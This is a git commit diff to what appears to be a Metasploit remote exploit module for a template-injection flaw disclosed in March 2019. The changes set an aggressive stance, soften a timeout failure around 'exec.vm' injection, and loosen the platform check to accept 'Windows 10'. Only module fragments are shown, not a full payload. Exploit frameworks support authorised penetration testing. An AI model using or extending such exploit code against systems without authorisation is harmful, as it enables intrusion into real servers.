Fixed target_platform_compat to support 'Windows 10', made debugging easier

master
asoto-r7 2019-04-16 13:18:00 -05:00
parent 2c3aec897f
commit 8b61c5edf5
No known key found for this signature in database
GPG Key ID: F531810B7FE55396
1 changed files with 6 additions and 4 deletions

View File

@ -54,7 +54,8 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Privileged' => false,
'DisclosureDate' => 'Mar 25 2019',
'DefaultTarget' => 0
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
))
register_options(
@ -223,7 +224,9 @@ class MetasploitModule < Msf::Exploit::Remote
})
unless res
fail_with Failure::Unreachable, 'Connection timed out in #inject_template'
unless service_url.include?("exec.vm")
print_warning('Connection timed out in #inject_template')
end
end
if res.body.include? 'widget-error'
@ -263,7 +266,7 @@ class MetasploitModule < Msf::Exploit::Remote
# @return [FalseClass] Not compatible
def target_platform_compat?(target_platform)
target.platform.names.each do |n|
if n.downcase == 'java' || n.downcase == target_platform.downcase
if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
return true
end
end
@ -453,6 +456,5 @@ class MetasploitModule < Msf::Exploit::Remote
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
return match.captures[0]
end
''
end
end